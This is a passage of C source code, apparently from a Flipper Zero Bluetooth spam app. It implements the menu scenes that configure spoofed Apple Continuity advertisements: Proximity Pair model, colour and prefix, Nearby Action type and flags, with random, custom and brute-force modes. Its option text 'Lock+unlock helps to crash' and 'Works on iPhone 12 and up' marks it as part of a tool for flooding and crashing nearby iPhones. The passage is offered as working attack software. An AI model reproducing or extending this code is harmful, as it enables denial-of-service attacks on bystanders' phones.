  749. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  750. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  751. break;
  752. }
  753. default:
  754. break;
  755. }
  756. variable_item_list_set_enter_callback(list, config_callback, ctx);
  757. }
  758. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  759. [ContinuityTypeAirDrop] = 0,
  760. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  761. [ContinuityTypeAirplayTarget] = 0,
  762. [ContinuityTypeHandoff] = 0,
  763. [ContinuityTypeTetheringSource] = 0,
  764. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  765. [ContinuityTypeNearbyInfo] = 0,
  766. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  767. };
  768. static uint8_t config_count(const Payload* payload) {
  769. const ContinuityCfg* cfg = &payload->cfg.continuity;
  770. return config_counts[cfg->type];
  771. }
  772. const Protocol protocol_continuity = {
  773. .icon = &I_apple,
  774. .get_name = get_name,
  775. .make_packet = make_packet,
  776. .extra_config = extra_config,
  777. .config_count = config_count,
  778. };
  779. static void pp_model_callback(void* _ctx, uint32_t index) {
  780. Ctx* ctx = _ctx;
  781. Payload* payload = &ctx->attack->payload;
  782. ContinuityCfg* cfg = &payload->cfg.continuity;
  783. switch(index) {
  784. case 0:
  785. payload->mode = PayloadModeRandom;
  786. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  787. break;
  788. case pp_models_count + 1:
  789. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  790. break;
  791. case pp_models_count + 2:
  792. payload->mode = PayloadModeBruteforce;
  793. payload->bruteforce.counter = 0;
  794. payload->bruteforce.value = cfg->data.proximity_pair.model;
  795. payload->bruteforce.size = 2;
  796. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  797. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  798. break;
  799. default:
  800. if(payload->mode != PayloadModeBruteforce ||
  801. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  802. payload->mode = PayloadModeValue;
  803. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  804. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  805. break;
  806. }
  807. }
  808. void scene_continuity_pp_model_on_enter(void* _ctx) {
  809. Ctx* ctx = _ctx;
  810. Payload* payload = &ctx->attack->payload;
  811. ContinuityCfg* cfg = &payload->cfg.continuity;
  812. Submenu* submenu = ctx->submenu;
  813. uint32_t selected = 0;
  814. bool value = payload->mode == PayloadModeValue ||
  815. (payload->mode == PayloadModeBruteforce &&
  816. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  817. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  818. if(payload->mode == PayloadModeRandom) {
  819. selected = 0;
  820. }
  821. bool found = false;
  822. for(uint8_t i = 0; i < pp_models_count; i++) {
  823. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  824. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  825. found = true;
  826. selected = i + 1;
  827. }
  828. }
  829. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  830. if(!found && value) {
  831. selected = pp_models_count + 1;
  832. }
  833. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  834. if(!value && payload->mode == PayloadModeBruteforce) {
  835. selected = pp_models_count + 2;
  836. }
  837. submenu_set_selected_item(submenu, selected);
  838. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  839. }
  840. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  841. Ctx* ctx = _ctx;
  842. if(event.type == SceneManagerEventTypeCustom) {
  843. scene_manager_previous_scene(ctx->scene_manager);
  844. return true;
  845. }
  846. return false;
  847. }
  848. void scene_continuity_pp_model_on_exit(void* _ctx) {
  849. Ctx* ctx = _ctx;
  850. submenu_reset(ctx->submenu);
  851. }
  852. static void pp_model_custom_callback(void* _ctx) {
  853. Ctx* ctx = _ctx;
  854. Payload* payload = &ctx->attack->payload;
  855. ContinuityCfg* cfg = &payload->cfg.continuity;
  856. if(payload->mode != PayloadModeBruteforce ||
  857. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  858. payload->mode = PayloadModeValue;
  859. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  860. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  861. }
  862. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  863. Ctx* ctx = _ctx;
  864. Payload* payload = &ctx->attack->payload;
  865. ContinuityCfg* cfg = &payload->cfg.continuity;
  866. ByteInput* byte_input = ctx->byte_input;
  867. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  868. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  869. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  870. byte_input_set_result_callback(
  871. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  872. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  873. }
  874. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  875. Ctx* ctx = _ctx;
  876. if(event.type == SceneManagerEventTypeCustom) {
  877. scene_manager_previous_scene(ctx->scene_manager);
  878. scene_manager_previous_scene(ctx->scene_manager);
  879. return true;
  880. }
  881. return false;
  882. }
  883. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  884. UNUSED(_ctx);
  885. }
  886. static void pp_color_callback(void* _ctx, uint32_t index) {
  887. Ctx* ctx = _ctx;
  888. Payload* payload = &ctx->attack->payload;
  889. ContinuityCfg* cfg = &payload->cfg.continuity;
  890. uint8_t model_index = 0;
  891. uint8_t colors_count = 0;
  892. if(payload->mode == PayloadModeValue ||
  893. (payload->mode == PayloadModeBruteforce &&
  894. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  895. for(; model_index < pp_models_count; model_index++) {
  896. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  897. colors_count = pp_models[model_index].colors_count;
  898. break;
  899. }
  900. }
  901. }
  902. if(index == colors_count) {
  903. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  904. } else if(index == colors_count + 1U) {
  905. payload->mode = PayloadModeBruteforce;
  906. payload->bruteforce.counter = 0;
  907. payload->bruteforce.value = cfg->data.proximity_pair.color;
  908. payload->bruteforce.size = 1;
  909. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  910. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  911. } else {
  912. if(payload->mode != PayloadModeBruteforce ||
  913. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  914. payload->mode = PayloadModeValue;
  915. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  916. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  917. }
  918. }
  919. void scene_continuity_pp_color_on_enter(void* _ctx) {
  920. Ctx* ctx = _ctx;
  921. Payload* payload = &ctx->attack->payload;
  922. ContinuityCfg* cfg = &payload->cfg.continuity;
  923. Submenu* submenu = ctx->submenu;
  924. uint32_t selected = 0;
  925. bool value = payload->mode == PayloadModeValue ||
  926. (payload->mode == PayloadModeBruteforce &&
  927. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  928. bool found = false;
  929. uint8_t colors_count = 0;
  930. if(payload->mode == PayloadModeValue ||
  931. (payload->mode == PayloadModeBruteforce &&
  932. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  933. for(uint8_t i = 0; i < pp_models_count; i++) {
  934. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  935. colors_count = pp_models[i].colors_count;
  936. for(uint8_t j = 0; j < colors_count; j++) {
  937. submenu_add_item(
  938. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  939. if(!found && value &&
  940. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  941. found = true;
  942. selected = j;
  943. }
  944. }
  945. break;
  946. }
  947. }
  948. }
  949. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  950. if(!found && value) {
  951. selected = colors_count;
  952. }
  953. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  954. if(!value && payload->mode == PayloadModeBruteforce) {
  955. selected = colors_count + 1;
  956. }
  957. submenu_set_selected_item(submenu, selected);
  958. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  959. }
  960. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  961. Ctx* ctx = _ctx;
  962. if(event.type == SceneManagerEventTypeCustom) {
  963. scene_manager_previous_scene(ctx->scene_manager);
  964. return true;
  965. }
  966. return false;
  967. }
  968. void scene_continuity_pp_color_on_exit(void* _ctx) {
  969. Ctx* ctx = _ctx;
  970. submenu_reset(ctx->submenu);
  971. }
  972. static void pp_color_custom_callback(void* _ctx) {
  973. Ctx* ctx = _ctx;
  974. Payload* payload = &ctx->attack->payload;
  975. ContinuityCfg* cfg = &payload->cfg.continuity;
  976. if(payload->mode != PayloadModeBruteforce ||
  977. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  978. payload->mode = PayloadModeValue;
  979. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  980. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  981. }
  982. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  983. Ctx* ctx = _ctx;
  984. Payload* payload = &ctx->attack->payload;
  985. ContinuityCfg* cfg = &payload->cfg.continuity;
  986. ByteInput* byte_input = ctx->byte_input;
  987. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  988. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  989. byte_input_set_result_callback(
  990. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  991. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  992. }
  993. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  994. Ctx* ctx = _ctx;
  995. if(event.type == SceneManagerEventTypeCustom) {
  996. scene_manager_previous_scene(ctx->scene_manager);
  997. scene_manager_previous_scene(ctx->scene_manager);
  998. return true;
  999. }
  1000. return false;
  1001. }
  1002. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  1003. UNUSED(_ctx);
  1004. }
  1005. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  1006. Ctx* ctx = _ctx;
  1007. Payload* payload = &ctx->attack->payload;
  1008. ContinuityCfg* cfg = &payload->cfg.continuity;
  1009. switch(index) {
  1010. case 0:
  1011. cfg->data.proximity_pair.prefix = 0x00;
  1012. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1013. break;
  1014. case pp_prefixes_count + 1:
  1015. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  1016. break;
  1017. default:
  1018. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  1019. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1020. break;
  1021. }
  1022. }
  1023. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  1024. Ctx* ctx = _ctx;
  1025. Payload* payload = &ctx->attack->payload;
  1026. ContinuityCfg* cfg = &payload->cfg.continuity;
  1027. Submenu* submenu = ctx->submenu;
  1028. uint32_t selected = 0;
  1029. bool found = false;
  1030. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  1031. if(cfg->data.proximity_pair.prefix == 0x00) {
  1032. found = true;
  1033. selected = 0;
  1034. }
  1035. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  1036. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  1037. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  1038. found = true;
  1039. selected = i + 1;
  1040. }
  1041. }
  1042. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  1043. if(!found) {
  1044. selected = pp_prefixes_count + 1;
  1045. }
  1046. submenu_set_selected_item(submenu, selected);
  1047. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1048. }
  1049. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  1050. Ctx* ctx = _ctx;
  1051. if(event.type == SceneManagerEventTypeCustom) {
  1052. scene_manager_previous_scene(ctx->scene_manager);
  1053. return true;
  1054. }
  1055. return false;
  1056. }
  1057. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  1058. Ctx* ctx = _ctx;
  1059. submenu_reset(ctx->submenu);
  1060. }
  1061. static void pp_prefix_custom_callback(void* _ctx) {
  1062. Ctx* ctx = _ctx;
  1063. Payload* payload = &ctx->attack->payload;
  1064. ContinuityCfg* cfg = &payload->cfg.continuity;
  1065. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  1066. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1067. }
  1068. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  1069. Ctx* ctx = _ctx;
  1070. Payload* payload = &ctx->attack->payload;
  1071. ContinuityCfg* cfg = &payload->cfg.continuity;
  1072. ByteInput* byte_input = ctx->byte_input;
  1073. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1074. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1075. byte_input_set_result_callback(
  1076. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1077. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1078. }
  1079. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1080. Ctx* ctx = _ctx;
  1081. if(event.type == SceneManagerEventTypeCustom) {
  1082. scene_manager_previous_scene(ctx->scene_manager);
  1083. scene_manager_previous_scene(ctx->scene_manager);
  1084. return true;
  1085. }
  1086. return false;
  1087. }
  1088. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1089. UNUSED(_ctx);
  1090. }
  1091. static void na_action_callback(void* _ctx, uint32_t index) {
  1092. Ctx* ctx = _ctx;
  1093. Payload* payload = &ctx->attack->payload;
  1094. ContinuityCfg* cfg = &payload->cfg.continuity;
  1095. switch(index) {
  1096. case 0:
  1097. payload->mode = PayloadModeRandom;
  1098. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1099. break;
  1100. case na_actions_count + 1:
  1101. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1102. break;
  1103. case na_actions_count + 2:
  1104. payload->mode = PayloadModeBruteforce;
  1105. payload->bruteforce.counter = 0;
  1106. payload->bruteforce.value = cfg->data.nearby_action.action;
  1107. payload->bruteforce.size = 1;
  1108. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1109. break;
  1110. default:
  1111. payload->mode = PayloadModeValue;
  1112. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1113. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1114. break;
  1115. }
  1116. }
  1117. void scene_continuity_na_action_on_enter(void* _ctx) {
  1118. Ctx* ctx = _ctx;
  1119. Payload* payload = &ctx->attack->payload;
  1120. ContinuityCfg* cfg = &payload->cfg.continuity;
  1121. Submenu* submenu = ctx->submenu;
  1122. uint32_t selected = 0;
  1123. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1124. if(payload->mode == PayloadModeRandom) {
  1125. selected = 0;
  1126. }
  1127. bool found = false;
  1128. for(uint8_t i = 0; i < na_actions_count; i++) {
  1129. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1130. if(!found && payload->mode == PayloadModeValue &&
  1131. cfg->data.nearby_action.action == na_actions[i].value) {
  1132. found = true;
  1133. selected = i + 1;
  1134. }
  1135. }
  1136. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1137. if(!found && payload->mode == PayloadModeValue) {
  1138. selected = na_actions_count + 1;
  1139. }
  1140. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1141. if(payload->mode == PayloadModeBruteforce) {
  1142. selected = na_actions_count + 2;
  1143. }
  1144. submenu_set_selected_item(submenu, selected);
  1145. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1146. }
  1147. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1148. Ctx* ctx = _ctx;
  1149. if(event.type == SceneManagerEventTypeCustom) {
  1150. scene_manager_previous_scene(ctx->scene_manager);
  1151. return true;
  1152. }
  1153. return false;
  1154. }
  1155. void scene_continuity_na_action_on_exit(void* _ctx) {
  1156. Ctx* ctx = _ctx;
  1157. submenu_reset(ctx->submenu);
  1158. }
  1159. static void na_action_custom_callback(void* _ctx) {
  1160. Ctx* ctx = _ctx;
  1161. Payload* payload = &ctx->attack->payload;
  1162. ContinuityCfg* cfg = &payload->cfg.continuity;
  1163. payload->mode = PayloadModeValue;
  1164. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1165. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1166. }
  1167. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1168. Ctx* ctx = _ctx;
  1169. Payload* payload = &ctx->attack->payload;
  1170. ContinuityCfg* cfg = &payload->cfg.continuity;
  1171. ByteInput* byte_input = ctx->byte_input;
  1172. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1173. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1174. byte_input_set_result_callback(
  1175. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1176. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1177. }
  1178. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1179. Ctx* ctx = _ctx;
  1180. if(event.type == SceneManagerEventTypeCustom) {
  1181. scene_manager_previous_scene(ctx->scene_manager);
  1182. scene_manager_previous_scene(ctx->scene_manager);
  1183. return true;
  1184. }
  1185. return false;
  1186. }
  1187. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1188. UNUSED(_ctx);
  1189. }
  1190. static void na_flags_callback(void* _ctx) {
  1191. Ctx* ctx = _ctx;
  1192. view_dispatcher_send_custom_event(ctx->view_dispatcher, 0);
  1193. }
  1194. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1195. Ctx* ctx = _ctx;
  1196. Payload* payload = &ctx->attack->payload;
  1197. ContinuityCfg* cfg = &payload->cfg.continuity;
  1198. ByteInput* byte_input = ctx->byte_input;
  1199. byte_input_set_header_text(byte_input, "Press back for automatic");
  1200. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1201. byte_input_set_result_callback(
  1202. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1203. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1204. }
  1205. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1206. Ctx* ctx = _ctx;
  1207. if(event.type == SceneManagerEventTypeCustom) {
  1208. scene_manager_previous_scene(ctx->scene_manager);
  1209. return true;
  1210. }
  1211. if(event.type == SceneManagerEventTypeBack) {
  1212. ctx->byte_store[0] = 0x00;
  1213. }
  1214. return false;
  1215. }
  1216. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1217. Ctx* ctx = _ctx;
  1218. Payload* payload = &ctx->attack->payload;
  1219. ContinuityCfg* cfg = &payload->cfg.continuity;
  1220. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1221. }